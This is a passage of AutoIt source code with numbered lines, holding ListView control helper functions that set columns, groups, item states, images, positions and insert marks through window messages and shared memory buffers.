  6852.         DllStructSetData($timage, "Image", $pbuffer)
  6853.         If $funicode Then
  6854.             $iret = GUICtrlSendMsg($hwnd, $lvm_setbkimagew, 0, $pimage)
  6855.         Else
  6856.             $iret = GUICtrlSendMsg($hwnd, $lvm_setbkimagea, 0, $pimage)
  6857.         EndIf
  6858.     EndIf
  6859.     Return $iret <> 0
  6860. EndFunc
  6861.  
  6862. Func _guictrllistview_setcallbackmask($hwnd, $imask)
  6863.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6864.     Local $iflags = 0
  6865.     If BitAND($imask, 1) <> 0 Then $iflags = BitOR($iflags, $lvis_cut)
  6866.     If BitAND($imask, 2) <> 0 Then $iflags = BitOR($iflags, $lvis_drophilited)
  6867.     If BitAND($imask, 4) <> 0 Then $iflags = BitOR($iflags, $lvis_focused)
  6868.     If BitAND($imask, 8) <> 0 Then $iflags = BitOR($iflags, $lvis_selected)
  6869.     If BitAND($imask, 16) <> 0 Then $iflags = BitOR($iflags, $lvis_overlaymask)
  6870.     If BitAND($imask, 32) <> 0 Then $iflags = BitOR($iflags, $lvis_stateimagemask)
  6871.     If IsHWnd($hwnd) Then
  6872.         Return _sendmessage($hwnd, $lvm_setcallbackmask, $iflags) <> 0
  6873.     Else
  6874.         Return GUICtrlSendMsg($hwnd, $lvm_setcallbackmask, $iflags, 0) <> 0
  6875.     EndIf
  6876. EndFunc
  6877.  
  6878. Func _guictrllistview_setcolumn($hwnd, $iindex, $stext, $iwidth = -1, $ialign = -1, $iimage = -1, $fonright = False)
  6879.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6880.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  6881.     Local $aalign[3] = [$lvcfmt_left, $lvcfmt_right, $lvcfmt_center]
  6882.     Local $ibuffer = StringLen($stext) + 1
  6883.     Local $tbuffer
  6884.     If $funicode Then
  6885.         $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
  6886.         $ibuffer *= 2
  6887.     Else
  6888.         $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
  6889.     EndIf
  6890.     Local $pbuffer = DllStructGetPtr($tbuffer)
  6891.     Local $tcolumn = DllStructCreate($taglvcolumn)
  6892.     Local $imask = $lvcf_text
  6893.     If $ialign < 0 OR $ialign > 2 Then $ialign = 0
  6894.     $imask = BitOR($imask, $lvcf_fmt)
  6895.     Local $ifmt = $aalign[$ialign]
  6896.     If $iwidth <> -1 Then $imask = BitOR($imask, $lvcf_width)
  6897.     If $iimage <> -1 Then
  6898.         $imask = BitOR($imask, $lvcf_image)
  6899.         $ifmt = BitOR($ifmt, $lvcfmt_col_has_images, $lvcfmt_image)
  6900.     Else
  6901.         $iimage = 0
  6902.     EndIf
  6903.     If $fonright Then $ifmt = BitOR($ifmt, $lvcfmt_bitmap_on_right)
  6904.     DllStructSetData($tbuffer, "Text", $stext)
  6905.     DllStructSetData($tcolumn, "Mask", $imask)
  6906.     DllStructSetData($tcolumn, "Fmt", $ifmt)
  6907.     DllStructSetData($tcolumn, "CX", $iwidth)
  6908.     DllStructSetData($tcolumn, "TextMax", $ibuffer)
  6909.     DllStructSetData($tcolumn, "Image", $iimage)
  6910.     Local $iret
  6911.     If IsHWnd($hwnd) Then
  6912.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  6913.             DllStructSetData($tcolumn, "Text", $pbuffer)
  6914.             $iret = _sendmessage($hwnd, $lvm_setcolumnw, $iindex, $tcolumn, 0, "wparam", "struct*")
  6915.         Else
  6916.             Local $icolumn = DllStructGetSize($tcolumn)
  6917.             Local $tmemmap
  6918.             Local $pmemory = _meminit($hwnd, $icolumn + $ibuffer, $tmemmap)
  6919.             Local $ptext = $pmemory + $icolumn
  6920.             DllStructSetData($tcolumn, "Text", $ptext)
  6921.             _memwrite($tmemmap, $tcolumn, $pmemory, $icolumn)
  6922.             _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
  6923.             If $funicode Then
  6924.                 $iret = _sendmessage($hwnd, $lvm_setcolumnw, $iindex, $pmemory, 0, "wparam", "ptr")
  6925.             Else
  6926.                 $iret = _sendmessage($hwnd, $lvm_setcolumna, $iindex, $pmemory, 0, "wparam", "ptr")
  6927.             EndIf
  6928.             _memfree($tmemmap)
  6929.         EndIf
  6930.     Else
  6931.         Local $pcolumn = DllStructGetPtr($tcolumn)
  6932.         DllStructSetData($tcolumn, "Text", $pbuffer)
  6933.         If $funicode Then
  6934.             $iret = GUICtrlSendMsg($hwnd, $lvm_setcolumnw, $iindex, $pcolumn)
  6935.         Else
  6936.             $iret = GUICtrlSendMsg($hwnd, $lvm_setcolumna, $iindex, $pcolumn)
  6937.         EndIf
  6938.     EndIf
  6939.     Return $iret <> 0
  6940. EndFunc
  6941.  
  6942. Func _guictrllistview_setcolumnorder($hwnd, $sorder)
  6943.     Local $separatorchar = Opt("GUIDataSeparatorChar")
  6944.     Return _guictrllistview_setcolumnorderarray($hwnd, StringSplit($sorder, $separatorchar))
  6945. EndFunc
  6946.  
  6947. Func _guictrllistview_setcolumnorderarray($hwnd, $aorder)
  6948.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6949.     Local $tbuffer = DllStructCreate("int[" & $aorder[0] & "]")
  6950.     For $ii = 1 To $aorder[0]
  6951.         DllStructSetData($tbuffer, 1, $aorder[$ii], $ii)
  6952.     Next
  6953.     Local $iret
  6954.     If IsHWnd($hwnd) Then
  6955.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  6956.             $iret = _sendmessage($hwnd, $lvm_setcolumnorderarray, $aorder[0], $tbuffer, 0, "wparam", "struct*")
  6957.         Else
  6958.             Local $ibuffer = DllStructGetSize($tbuffer)
  6959.             Local $tmemmap
  6960.             Local $pmemory = _meminit($hwnd, $ibuffer, $tmemmap)
  6961.             _memwrite($tmemmap, $tbuffer, $pmemory, $ibuffer)
  6962.             $iret = _sendmessage($hwnd, $lvm_setcolumnorderarray, $aorder[0], $pmemory, 0, "wparam", "ptr")
  6963.             _memfree($tmemmap)
  6964.         EndIf
  6965.     Else
  6966.         $iret = GUICtrlSendMsg($hwnd, $lvm_setcolumnorderarray, $aorder[0], DllStructGetPtr($tbuffer))
  6967.     EndIf
  6968.     Return $iret <> 0
  6969. EndFunc
  6970.  
  6971. Func _guictrllistview_setcolumnwidth($hwnd, $icol, $iwidth)
  6972.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6973.     If IsHWnd($hwnd) Then
  6974.         Return _sendmessage($hwnd, $lvm_setcolumnwidth, $icol, $iwidth)
  6975.     Else
  6976.         Return GUICtrlSendMsg($hwnd, $lvm_setcolumnwidth, $icol, $iwidth)
  6977.     EndIf
  6978. EndFunc
  6979.  
  6980. Func _guictrllistview_setextendedlistviewstyle($hwnd, $iexstyle, $iexmask = 0)
  6981.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6982.     Local $iret
  6983.     If IsHWnd($hwnd) Then
  6984.         $iret = _sendmessage($hwnd, $lvm_setextendedlistviewstyle, $iexmask, $iexstyle)
  6985.         _winapi_invalidaterect($hwnd)
  6986.     Else
  6987.         $iret = GUICtrlSendMsg($hwnd, $lvm_setextendedlistviewstyle, $iexmask, $iexstyle)
  6988.         _winapi_invalidaterect(GUICtrlGetHandle($hwnd))
  6989.     EndIf
  6990.     Return $iret
  6991. EndFunc
  6992.  
  6993. Func _guictrllistview_setgroupinfo($hwnd, $igroupid, $sheader, $ialign = 0, $istate = $lvgs_normal)
  6994.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6995.     Local $aalign[3] = [$lvga_header_left, $lvga_header_center, $lvga_header_right]
  6996.     If $ialign < 0 OR $ialign > 2 Then $ialign = 0
  6997.     Local $theader = _winapi_multibytetowidechar($sheader)
  6998.     Local $pheader = DllStructGetPtr($theader)
  6999.     Local $iheader = StringLen($sheader)
  7000.     Local $tgroup = DllStructCreate($taglvgroup)
  7001.     Local $pgroup = DllStructGetPtr($tgroup)
  7002.     Local $igroup = DllStructGetSize($tgroup)
  7003.     Local $imask = BitOR($lvgf_header, $lvgf_align, $lvgf_state)
  7004.     DllStructSetData($tgroup, "Size", $igroup)
  7005.     DllStructSetData($tgroup, "Mask", $imask)
  7006.     DllStructSetData($tgroup, "HeaderMax", $iheader)
  7007.     DllStructSetData($tgroup, "Align", $aalign[$ialign])
  7008.     DllStructSetData($tgroup, "State", $istate)
  7009.     DllStructSetData($tgroup, "StateMask", $istate)
  7010.     Local $iret
  7011.     If IsHWnd($hwnd) Then
  7012.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  7013.             DllStructSetData($tgroup, "Header", $pheader)
  7014.             $iret = _sendmessage($hwnd, $lvm_setgroupinfo, $igroupid, $pgroup)
  7015.             DllStructSetData($tgroup, "Mask", $lvgf_groupid)
  7016.             DllStructSetData($tgroup, "GroupID", $igroupid)
  7017.             _sendmessage($hwnd, $lvm_setgroupinfo, 0, $pgroup)
  7018.         Else
  7019.             Local $tmemmap
  7020.             Local $pmemory = _meminit($hwnd, $igroup + $iheader, $tmemmap)
  7021.             Local $ptext = $pmemory + $igroup
  7022.             DllStructSetData($tgroup, "Header", $ptext)
  7023.             _memwrite($tmemmap, $tgroup, $pmemory, $igroup)
  7024.             _memwrite($tmemmap, $theader, $ptext, $iheader)
  7025.             $iret = _sendmessage($hwnd, $lvm_setgroupinfo, $igroupid, $pmemory)
  7026.             DllStructSetData($tgroup, "Mask", $lvgf_groupid)
  7027.             DllStructSetData($tgroup, "GroupID", $igroupid)
  7028.             _sendmessage($hwnd, $lvm_setgroupinfo, 0, $pmemory)
  7029.             _memfree($tmemmap)
  7030.         EndIf
  7031.         _winapi_invalidaterect($hwnd)
  7032.     Else
  7033.         DllStructSetData($tgroup, "Header", $pheader)
  7034.         $iret = GUICtrlSendMsg($hwnd, $lvm_setgroupinfo, $igroupid, $pgroup)
  7035.         DllStructSetData($tgroup, "Mask", $lvgf_groupid)
  7036.         DllStructSetData($tgroup, "GroupID", $igroupid)
  7037.         GUICtrlSendMsg($hwnd, $lvm_setgroupinfo, 0, $pgroup)
  7038.         _winapi_invalidaterect(GUICtrlGetHandle($hwnd))
  7039.     EndIf
  7040.     Return $iret <> 0
  7041. EndFunc
  7042.  
  7043. Func _guictrllistview_sethotcursor($hwnd, $hcursor)
  7044.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7045.     If IsHWnd($hwnd) Then
  7046.         Return _sendmessage($hwnd, $lvm_sethotcursor, 0, $hcursor, 0, "wparam", "handle", "handle")
  7047.     Else
  7048.         Return Ptr(GUICtrlSendMsg($hwnd, $lvm_sethotcursor, 0, $hcursor))
  7049.     EndIf
  7050. EndFunc
  7051.  
  7052. Func _guictrllistview_sethotitem($hwnd, $iindex)
  7053.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7054.     If IsHWnd($hwnd) Then
  7055.         Return _sendmessage($hwnd, $lvm_sethotitem, $iindex)
  7056.     Else
  7057.         Return GUICtrlSendMsg($hwnd, $lvm_sethotitem, $iindex, 0)
  7058.     EndIf
  7059. EndFunc
  7060.  
  7061. Func _guictrllistview_sethovertime($hwnd, $itime)
  7062.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7063.     If IsHWnd($hwnd) Then
  7064.         Return _sendmessage($hwnd, $lvm_sethovertime, 0, $itime)
  7065.     Else
  7066.         Return GUICtrlSendMsg($hwnd, $lvm_sethovertime, 0, $itime)
  7067.     EndIf
  7068. EndFunc
  7069.  
  7070. Func _guictrllistview_seticonspacing($hwnd, $icx, $icy)
  7071.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7072.     Local $iret, $apadding[2]
  7073.     If IsHWnd($hwnd) Then
  7074.         $iret = _sendmessage($hwnd, $lvm_seticonspacing, 0, _winapi_makelong($icx, $icy))
  7075.         _winapi_invalidaterect($hwnd)
  7076.     Else
  7077.         $iret = GUICtrlSendMsg($hwnd, $lvm_seticonspacing, 0, _winapi_makelong($icx, $icy))
  7078.         _winapi_invalidaterect(GUICtrlGetHandle($hwnd))
  7079.     EndIf
  7080.     $apadding[0] = BitAND($iret, 65535)
  7081.     $apadding[1] = BitShift($iret, 16)
  7082.     Return $apadding
  7083. EndFunc
  7084.  
  7085. Func _guictrllistview_setimagelist($hwnd, $hhandle, $itype = 0)
  7086.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7087.     Local $atype[3] = [$lvsil_normal, $lvsil_small, $lvsil_state]
  7088.     If IsHWnd($hwnd) Then
  7089.         Return _sendmessage($hwnd, $lvm_setimagelist, $atype[$itype], $hhandle, 0, "wparam", "handle", "handle")
  7090.     Else
  7091.         Return Ptr(GUICtrlSendMsg($hwnd, $lvm_setimagelist, $atype[$itype], $hhandle))
  7092.     EndIf
  7093. EndFunc
  7094.  
  7095. Func _guictrllistview_setinfotip($hwnd, $iindex, $stext, $isubitem = 0)
  7096.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7097.     Local $tbuffer = _winapi_multibytetowidechar($stext)
  7098.     Local $pbuffer = DllStructGetPtr($tbuffer)
  7099.     Local $ibuffer = StringLen($stext)
  7100.     Local $tinfo = DllStructCreate($taglvsetinfotip)
  7101.     Local $iinfo = DllStructGetSize($tinfo)
  7102.     DllStructSetData($tinfo, "Size", $iinfo)
  7103.     DllStructSetData($tinfo, "Item", $iindex)
  7104.     DllStructSetData($tinfo, "SubItem", $isubitem)
  7105.     Local $iret
  7106.     If IsHWnd($hwnd) Then
  7107.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  7108.             DllStructSetData($tinfo, "Text", $pbuffer)
  7109.             $iret = _sendmessage($hwnd, $lvm_setinfotip, 0, $tinfo, 0, "wparam", "struct*")
  7110.         Else
  7111.             Local $tmemmap
  7112.             Local $pmemory = _meminit($hwnd, $iinfo + $ibuffer, $tmemmap)
  7113.             Local $ptext = $pmemory + $iinfo
  7114.             DllStructSetData($tinfo, "Text", $ptext)
  7115.             _memwrite($tmemmap, $tinfo, $pmemory, $iinfo)
  7116.             _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
  7117.             $iret = _sendmessage($hwnd, $lvm_setinfotip, 0, $pmemory, 0, "wparam", "ptr")
  7118.             _memfree($tmemmap)
  7119.         EndIf
  7120.     Else
  7121.         DllStructSetData($tinfo, "Text", $pbuffer)
  7122.         $iret = GUICtrlSendMsg($hwnd, $lvm_setinfotip, 0, DllStructGetPtr($tinfo))
  7123.     EndIf
  7124.     Return $iret <> 0
  7125. EndFunc
  7126.  
  7127. Func _guictrllistview_setinsertmark($hwnd, $iindex, $fafter = False)
  7128.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7129.     Local $tmark = DllStructCreate($taglvinsertmark)
  7130.     Local $imark = DllStructGetSize($tmark)
  7131.     DllStructSetData($tmark, "Size", $imark)
  7132.     If $fafter Then DllStructSetData($tmark, "Flags", $lvim_after)
  7133.     DllStructSetData($tmark, "Item", $iindex)
  7134.     DllStructSetData($tmark, "Reserved", 0)
  7135.     Local $iret
  7136.     If IsHWnd($hwnd) Then
  7137.         Local $tmemmap
  7138.         Local $pmemory = _meminit($hwnd, $imark, $tmemmap)
  7139.         _memwrite($tmemmap, $tmark, $pmemory, $imark)
  7140.         $iret = _sendmessage($hwnd, $lvm_setinsertmark, 0, $pmemory, 0, "wparam", "ptr")
  7141.         _memfree($tmemmap)
  7142.     Else
  7143.         $iret = GUICtrlSendMsg($hwnd, $lvm_setinsertmark, 0, DllStructGetPtr($tmark))
  7144.     EndIf
  7145.     Return $iret <> 0
  7146. EndFunc
  7147.  
  7148. Func _guictrllistview_setinsertmarkcolor($hwnd, $icolor)
  7149.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7150.     If IsHWnd($hwnd) Then
  7151.         Return _sendmessage($hwnd, $lvm_setinsertmarkcolor, 0, $icolor)
  7152.     Else
  7153.         Return GUICtrlSendMsg($hwnd, $lvm_setinsertmarkcolor, 0, $icolor)
  7154.     EndIf
  7155. EndFunc
  7156.  
  7157. Func _guictrllistview_setitem($hwnd, $stext, $iindex = 0, $isubitem = 0, $iimage = -1, $iparam = -1, $iindent = -1)
  7158.     Local $pbuffer, $ibuffer
  7159.     If $stext <> -1 Then
  7160.         $ibuffer = StringLen($stext) + 1
  7161.         Local $tbuffer
  7162.         If _guictrllistview_getunicodeformat($hwnd) Then
  7163.             $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
  7164.         Else
  7165.             $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
  7166.         EndIf
  7167.         $pbuffer = DllStructGetPtr($tbuffer)
  7168.         DllStructSetData($tbuffer, "Text", $stext)
  7169.     Else
  7170.         $ibuffer = 0
  7171.         $pbuffer = -1
  7172.     EndIf
  7173.     Local $titem = DllStructCreate($taglvitem)
  7174.     Local $imask = $lvif_text
  7175.     If $iimage <> -1 Then $imask = BitOR($imask, $lvif_image)
  7176.     If $iparam <> -1 Then $imask = BitOR($imask, $lvif_param)
  7177.     If $iindent <> -1 Then $imask = BitOR($imask, $lvif_indent)
  7178.     DllStructSetData($titem, "Mask", $imask)
  7179.     DllStructSetData($titem, "Item", $iindex)
  7180.     DllStructSetData($titem, "SubItem", $isubitem)
  7181.     DllStructSetData($titem, "Text", $pbuffer)
  7182.     DllStructSetData($titem, "TextMax", $ibuffer)
  7183.     DllStructSetData($titem, "Image", $iimage)
  7184.     DllStructSetData($titem, "Param", $iparam)
  7185.     DllStructSetData($titem, "Indent", $iindent)
  7186.     Return _guictrllistview_setitemex($hwnd, $titem)
  7187. EndFunc
  7188.  
  7189. Func _guictrllistview_setitemchecked($hwnd, $iindex, $fcheck = True)
  7190.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7191.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  7192.     Local $pmemory, $tmemmap, $iret
  7193.     Local $titem = DllStructCreate($taglvitem)
  7194.     Local $pitem = DllStructGetPtr($titem)
  7195.     Local $iitem = DllStructGetSize($titem)
  7196.     If @error Then Return SetError($lv_err, $lv_err, $lv_err)
  7197.     If $iindex <> -1 Then
  7198.         DllStructSetData($titem, "Mask", $lvif_state)
  7199.         DllStructSetData($titem, "Item", $iindex)
  7200.         If ($fcheck) Then
  7201.             DllStructSetData($titem, "State", 8192)
  7202.         Else
  7203.             DllStructSetData($titem, "State", 4096)
  7204.         EndIf
  7205.         DllStructSetData($titem, "StateMask", 61440)
  7206.         If IsHWnd($hwnd) Then
  7207.             If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  7208.                 Return _sendmessage($hwnd, $lvm_setitemw, 0, $titem, 0, "wparam", "struct*") <> 0
  7209.             Else
  7210.                 $pmemory = _meminit($hwnd, $iitem, $tmemmap)
  7211.                 _memwrite($tmemmap, $titem)
  7212.                 If $funicode Then
  7213.                     $iret = _sendmessage($hwnd, $lvm_setitemw, 0, $pmemory, 0, "wparam", "ptr")
  7214.                 Else
  7215.                     $iret = _sendmessage($hwnd, $lvm_setitema, 0, $pmemory, 0, "wparam", "ptr")
  7216.                 EndIf
  7217.                 _memfree($tmemmap)
  7218.                 Return $iret <> 0
  7219.             EndIf
  7220.         Else
  7221.             If $funicode Then
  7222.                 Return GUICtrlSendMsg($hwnd, $lvm_setitemw, 0, $pitem) <> 0
  7223.             Else
  7224.                 Return GUICtrlSendMsg($hwnd, $lvm_setitema, 0, $pitem) <> 0
  7225.             EndIf
  7226.         EndIf
  7227.     Else
  7228.         For $x = 0 To _guictrllistview_getitemcount($hwnd) - 1
  7229.             DllStructSetData($titem, "Mask", $lvif_state)
  7230.             DllStructSetData($titem, "Item", $x)
  7231.             If ($fcheck) Then
  7232.                 DllStructSetData($titem, "State", 8192)
  7233.             Else
  7234.                 DllStructSetData($titem, "State", 4096)
  7235.             EndIf
  7236.             DllStructSetData($titem, "StateMask", 61440)
  7237.             If IsHWnd($hwnd) Then
  7238.                 If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  7239.                     If NOT _sendmessage($hwnd, $lvm_setitemw, 0, $titem, 0, "wparam", "struct*") <> 0 Then Return SetError($lv_err, $lv_err, $lv_err)
  7240.                 Else
  7241.                     $pmemory = _meminit($hwnd, $iitem, $tmemmap)
  7242.                     _memwrite($tmemmap, $titem)
  7243.                     If $funicode Then
  7244.                         $iret = _sendmessage($hwnd, $lvm_setitemw, 0, $pmemory, 0, "wparam", "ptr")
  7245.                     Else
  7246.                         $iret = _sendmessage($hwnd, $lvm_setitema, 0, $pmemory, 0, "wparam", "ptr")
  7247.                     EndIf
  7248.                     _memfree($tmemmap)
  7249.                     If NOT $iret <> 0 Then Return SetError($lv_err, $lv_err, $lv_err)
  7250.                 EndIf
  7251.             Else
  7252.                 If $funicode Then
  7253.                     If NOT GUICtrlSendMsg($hwnd, $lvm_setitemw, 0, $pitem) <> 0 Then Return SetError($lv_err, $lv_err, $lv_err)
  7254.                 Else
  7255.                     If NOT GUICtrlSendMsg($hwnd, $lvm_setitema, 0, $pitem) <> 0 Then Return SetError($lv_err, $lv_err, $lv_err)
  7256.                 EndIf
  7257.             EndIf
  7258.         Next
  7259.         Return True
  7260.     EndIf
  7261.     Return False
  7262. EndFunc
  7263.  
  7264. Func _guictrllistview_setitemcount($hwnd, $iitems)
  7265.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7266.     If IsHWnd($hwnd) Then
  7267.         Return _sendmessage($hwnd, $lvm_setitemcount, $iitems, BitOR($lvsicf_noinvalidateall, $lvsicf_noscroll)) <> 0
  7268.     Else
  7269.         Return GUICtrlSendMsg($hwnd, $lvm_setitemcount, $iitems, BitOR($lvsicf_noinvalidateall, $lvsicf_noscroll)) <> 0
  7270.     EndIf
  7271. EndFunc
  7272.  
  7273. Func _guictrllistview_setitemcut($hwnd, $iindex, $fenabled = True)
  7274.     Local $istate = 0
  7275.     If $fenabled Then $istate = $lvis_cut
  7276.     Return _guictrllistview_setitemstate($hwnd, $iindex, $istate, $lvis_cut)
  7277. EndFunc
  7278.  
  7279. Func _guictrllistview_setitemdrophilited($hwnd, $iindex, $fenabled = True)
  7280.     Local $istate = 0
  7281.     If $fenabled Then $istate = $lvis_drophilited
  7282.     Return _guictrllistview_setitemstate($hwnd, $iindex, $istate, $lvis_drophilited)
  7283. EndFunc
  7284.  
  7285. Func _guictrllistview_setitemex($hwnd, ByRef $titem)
  7286.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7287.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  7288.     Local $iret
  7289.     If IsHWnd($hwnd) Then
  7290.         Local $iitem = DllStructGetSize($titem)
  7291.         Local $ibuffer = DllStructGetData($titem, "TextMax")
  7292.         Local $pbuffer = DllStructGetData($titem, "Text")
  7293.         If $funicode Then $ibuffer *= 2
  7294.         Local $tmemmap
  7295.         Local $pmemory = _meminit($hwnd, $iitem + $ibuffer, $tmemmap)
  7296.         Local $ptext = $pmemory + $iitem
  7297.         DllStructSetData($titem, "Text", $ptext)
  7298.         _memwrite($tmemmap, $titem, $pmemory, $iitem)
  7299.         If $pbuffer <> 0 Then _memwrite($tmemmap, $pbuffer, $ptext, $ibuffer)
  7300.         If $funicode Then
  7301.             $iret = _sendmessage($hwnd, $lvm_setitemw, 0, $pmemory, 0, "wparam", "ptr")
  7302.         Else
  7303.             $iret = _sendmessage($hwnd, $lvm_setitema, 0, $pmemory, 0, "wparam", "ptr")
  7304.         EndIf
  7305.         _memfree($tmemmap)
  7306.     Else
  7307.         Local $pitem = DllStructGetPtr($titem)
  7308.         If $funicode Then
  7309.             $iret = GUICtrlSendMsg($hwnd, $lvm_setitemw, 0, $pitem)
  7310.         Else
  7311.             $iret = GUICtrlSendMsg($hwnd, $lvm_setitema, 0, $pitem)
  7312.         EndIf
  7313.     EndIf
  7314.     Return $iret <> 0
  7315. EndFunc
  7316.  
  7317. Func _guictrllistview_setitemfocused($hwnd, $iindex, $fenabled = True)
  7318.     Local $istate = 0
  7319.     If $fenabled Then $istate = $lvis_focused
  7320.     Return _guictrllistview_setitemstate($hwnd, $iindex, $istate, $lvis_focused)
  7321. EndFunc
  7322.  
  7323. Func _guictrllistview_setitemgroupid($hwnd, $iindex, $igroupid)
  7324.     Local $titem = DllStructCreate($taglvitem)
  7325.     DllStructSetData($titem, "Mask", $lvif_groupid)
  7326.     DllStructSetData($titem, "Item", $iindex)
  7327.     DllStructSetData($titem, "GroupID", $igroupid)
  7328.     _guictrllistview_setitemex($hwnd, $titem)
  7329. EndFunc
  7330.  
  7331. Func _guictrllistview_setitemimage($hwnd, $iindex, $iimage, $isubitem = 0)
  7332.     Local $titem = DllStructCreate($taglvitem)
  7333.     DllStructSetData($titem, "Mask", $lvif_image)
  7334.     DllStructSetData($titem, "Item", $iindex)
  7335.     DllStructSetData($titem, "SubItem", $isubitem)
  7336.     DllStructSetData($titem, "Image", $iimage)
  7337.     Return _guictrllistview_setitemex($hwnd, $titem)
  7338. EndFunc
  7339.  
  7340. Func _guictrllistview_setitemindent($hwnd, $iindex, $iindent)
  7341.     Local $titem = DllStructCreate($taglvitem)
  7342.     DllStructSetData($titem, "Mask", $lvif_indent)
  7343.     DllStructSetData($titem, "Item", $iindex)
  7344.     DllStructSetData($titem, "Indent", $iindent)
  7345.     Return _guictrllistview_setitemex($hwnd, $titem)
  7346. EndFunc
  7347.  
  7348. Func __guictrllistview_setitemoverlayimage($hwnd, $iindex, $iimage)
  7349.     Return _guictrllistview_setitemstate($hwnd, $iindex, __guictrllistview_indextooverlayimagemask($iimage), $lvis_overlaymask)
  7350. EndFunc
  7351.  
  7352. Func _guictrllistview_setitemparam($hwnd, $iindex, $iparam)
  7353.     Local $titem = DllStructCreate($taglvitem)
  7354.     DllStructSetData($titem, "Mask", $lvif_param)
  7355.     DllStructSetData($titem, "Item", $iindex)
  7356.     DllStructSetData($titem, "Param", $iparam)
  7357.     Return _guictrllistview_setitemex($hwnd, $titem)
  7358. EndFunc
  7359.  
  7360. Func _guictrllistview_setitemposition($hwnd, $iindex, $icx, $icy)
  7361.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7362.     If IsHWnd($hwnd) Then
  7363.         Return _sendmessage($hwnd, $lvm_setitemposition, $iindex, _winapi_makelong($icx, $icy)) <> 0
  7364.     Else
  7365.         Return GUICtrlSendMsg($hwnd, $lvm_setitemposition, $iindex, _winapi_makelong($icx, $icy)) <> 0
  7366.     EndIf
  7367. EndFunc
  7368.  
  7369. Func _guictrllistview_setitemposition32($hwnd, $iindex, $icx, $icy)
  7370.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7371.     Local $tpoint = DllStructCreate($tagpoint)
  7372.     DllStructSetData($tpoint, "X", $icx)
  7373.     DllStructSetData($tpoint, "Y", $icy)
  7374.     Local $iret
  7375.     If IsHWnd($hwnd) Then
  7376.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  7377.             $iret = _sendmessage($hwnd, $lvm_setitemposition32, $iindex, $tpoint, 0, "wparam", "struct*")
  7378.         Else
  7379.             Local $ipoint = DllStructGetSize($tpoint)
  7380.             Local $tmemmap
  7381.             Local $pmemory = _meminit($hwnd, $ipoint, $tmemmap)
  7382.             _memwrite($tmemmap, $tpoint)
  7383.             $iret = _sendmessage($hwnd, $lvm_setitemposition32, $iindex, $pmemory, 0, "wparam", "ptr")
  7384.             _memfree($tmemmap)
  7385.         EndIf
  7386.     Else
  7387.         $iret = GUICtrlSendMsg($hwnd, $lvm_setitemposition32, $iindex, DllStructGetPtr($tpoint))
  7388.     EndIf
  7389.     Return $iret <> 0
  7390. EndFunc
  7391.  
  7392. Func _guictrllistview_setitemselected($hwnd, $iindex, $fselected = True, $ffocused = False)
  7393.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7394.     Local $tstruct = DllStructCreate($taglvitem)
  7395.     Local $iret, $iselected = 0, $ifocused = 0, $isize, $tmemmap, $pmemory
  7396.     If ($fselected = True) Then $iselected = $lvis_selected
  7397.     If ($ffocused = True AND $iindex <> -1) Then $ifocused = $lvis_focused
  7398.     DllStructSetData($tstruct, "Mask", $lvif_state)
  7399.     DllStructSetData($tstruct, "Item", $iindex)
  7400.     DllStructSetData($tstruct, "State", BitOR($iselected, $ifocused))
  7401.     DllStructSetData($tstruct, "StateMask", BitOR($lvis_selected, $ifocused))
  7402.     $isize = DllStructGetSize($tstruct)
  7403.     If IsHWnd($hwnd) Then
  7404.         $pmemory = _meminit($hwnd, $isize, $tmemmap)
  7405.         _memwrite($tmemmap, $tstruct, $pmemory, $isize)
  7406.         $iret = _sendmessage($hwnd, $lvm_setitemstate, $iindex, $pmemory)
  7407.         _memfree($tmemmap)
  7408.     Else
  7409.         $iret = GUICtrlSendMsg($hwnd, $lvm_setitemstate, $iindex, DllStructGetPtr($tstruct))
  7410.     EndIf
  7411.     Return $iret <> 0
  7412. EndFunc
  7413.  
  7414. Func _guictrllistview_setitemstate($hwnd, $iindex, $istate, $istatemask)
  7415.     Local $titem = DllStructCreate($taglvitem)
  7416.     DllStructSetData($titem, "Mask", $lvif_state)
  7417.     DllStructSetData($titem, "Item", $iindex)
  7418.     DllStructSetData($titem, "State", $istate)
  7419.     DllStructSetData($titem, "StateMask", $istatemask)
  7420.     Return _guictrllistview_setitemex($hwnd, $titem) <> 0
  7421. EndFunc
  7422.  
